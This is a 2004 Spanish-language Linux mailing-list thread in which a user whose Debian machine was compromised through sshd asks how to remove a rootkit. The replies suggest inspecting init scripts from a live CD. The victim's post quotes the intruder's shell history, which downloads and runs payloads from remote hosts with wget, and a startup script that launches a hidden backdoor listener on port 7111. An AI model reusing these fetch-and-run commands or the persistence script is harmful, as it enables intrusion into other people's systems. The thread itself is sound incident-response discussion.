-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ya me lo baje, asi que te la paso la url
http://www.buanzo.com.ar/ver_articulo.html?n=17 El Jue 17 Jun 2004 11:25, Marcelo Fernandez escribi�: > Y la direcci�n del paper es......? ;-) > > Saludos > Marcelo > > Arturo "Buanzo" Busleiman escribi�: > >Bajate un cd de knoppix o live-cd de gentoo, montate las particiones y > >revisa los scripts de inicio y la config del bootloader (lilo/grub). > >Ahi generalmente se levantan los rootkits. Yo escribi un paper acerca del > >tema... "Detecting and Understanding Rootkits: An Introduction and just a > >little-bit more". Ojala te sirva. > > > >-- > >Arturo "Buanzo" Busleiman - www.buanzo.com.ar - GNU/Linux Documentation > >President, Open Information System Security Group - Argentina > > > >"En teoria, no existe diferencia entre teoria y practica. Pero, en la > >practica, esto no es asi." > > > >On Wed, 16 Jun 2004, FGG wrote: > >>Hola todos, > >>Les queria hacer una consulta ya que haces unas dias me entraron a mi pc > >>que tenia y tiene linux, la cual normalmente esta encendida las 24hs con > >>un Adsl. Tiene corriendo un Debian Woody que cada dos aprox. le hago un > >>apt-get upgrade. > >>Ingresaron por el sshd, me cambiaron a protocolo 1 y me modificaron el > >>.conf > >> > >>Les muestro lo q instalaron. > >> > >>Este es el historico del usuario q usaron: > >>---------------------------------------------------------------- > >>uname -a > >>wget jhonyboy.home.ro/t.tgz > >>rm -rf no_user.phtml > >>cd .ssh > >>cd > >>cd .ssh > >>id > >>wget netpunk.home.ro/t.tgz > >>tar -zvf t.tgz > >>./t > >>tar -xzvf t.tgz > >>./t > >>wget jhonyboy.home.ro/ups > >>chmod +x ups > >>./ups > >>ls > >>./ups > >>------------------------------------------------------------------------- > >>---------- Esto me generaba muchos muchos procesos, q parecian estar > >> muertos, los cuales utilizaban: > >> > >>C�digo de programa Archivo regular 16516 288523 > >> /usr/X11R6/.zk/echo Biblioteca compartida Archivo regular 90210 159640 > >> /lib/ld-2.2.5.so Biblioteca compartida Archivo regular 1153784 > >> 159648 /lib/libc-2.2.5.so 3r > >>Archivo regular 179 225596 /etc/sysconfig/console/load.zk > >>Archivo regular 16516 288523 /usr/X11R6/.zk/echo > >>------------------------------------------------------------------------- > >>-------------------- Script: > >>************************************************************** > >>linux:/etc/sysconfig/console# ll > >>total 4 > >>-rwxr-xr-x 1 root root 179 Jun 1 11:18 load.zk > >>linux:/etc/sysconfig/console# cat load.zk > >>#!/bin/sh > >># Script used by the kernel init interface > >>export LOGIN=ZK > >>/usr/bin/run /usr/X11R6/.zk/echo >> /dev/null 2>&1 > >>/usr/bin/run /usr/X11R6/.zk/xfs -p 7111 >> /dev/null 2>&1 > >>linux:/etc/sysconfig/console# > >>************************************************************ > >>Aclaro q tenia abierto un port (xfs, q lo generaba este script ) q > >>realmente no recuerdo. > >>Ahora elimine todos los scripts pero no habia forma de matar los > >>procesos ya q arrancaban de nuevo, en la consulta al pid mostraba q los > >>scripts estaban "Delet"-> ya q los elimine yo, ademas de estos, tambien > >>llamaban a libc-2.2.5.so y ld-2.2.5.so , los cuales no puedo eliminar. > >>La pregunta puede ser que modificaron libc y ld ? > >>De q fomar se puede solucionar sin pisarlo al Linux ?, en este caso > >>mucho problema no hay por q era una pc comun, pero en el caso de algun > >>server con dias y dias de laburo sobre el...? > >> > >>Muchas Gracias a Todos! > >>Saludos > >>Francisco. > >> > >>FGG > >>[EMAIL PROTECTED] > >> > >> > >>-- > >>Para desuscribirte ten�s que visitar la p�gina > >>https://listas.linux.org.ar/mailman/listinfo/lugar-gral/ > >> > >>Si ten�s alg�n inconveniente o consulta escrib� a > >> mailto:[EMAIL PROTECTED] Apoya al ASLE enviando tu firma > >> http://www.linux.org.ar/asle > > -- > Marcelo F. Fern�ndez > Buenos Aires, Argentina > Analista de Sistemas - CCNA > > E-Mail: [EMAIL PROTECTED] > Jabber ID: [EMAIL PROTECTED] - -- Gabriel E. Pati�o e-mail: [EMAIL PROTECTED] Jabber: [EMAIL PROTECTED] MSA - Magic Software Argentina s.a. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux) iD8DBQFA0a5KoctnNplLSKkRAqwcAJ4niKooZzPoHVd83Xpe8c8rY7z+QACgjBF0 s2r5asnJCKV9Az330yHZT3E= =1fot -----END PGP SIGNATURE----- -- Para desuscribirte ten�s que visitar la p�gina https://listas.linux.org.ar/mailman/listinfo/lugar-gral/ Si ten�s alg�n inconveniente o consulta escrib� a mailto:[EMAIL PROTECTED] Apoya al ASLE enviando tu firma http://www.linux.org.ar/asle
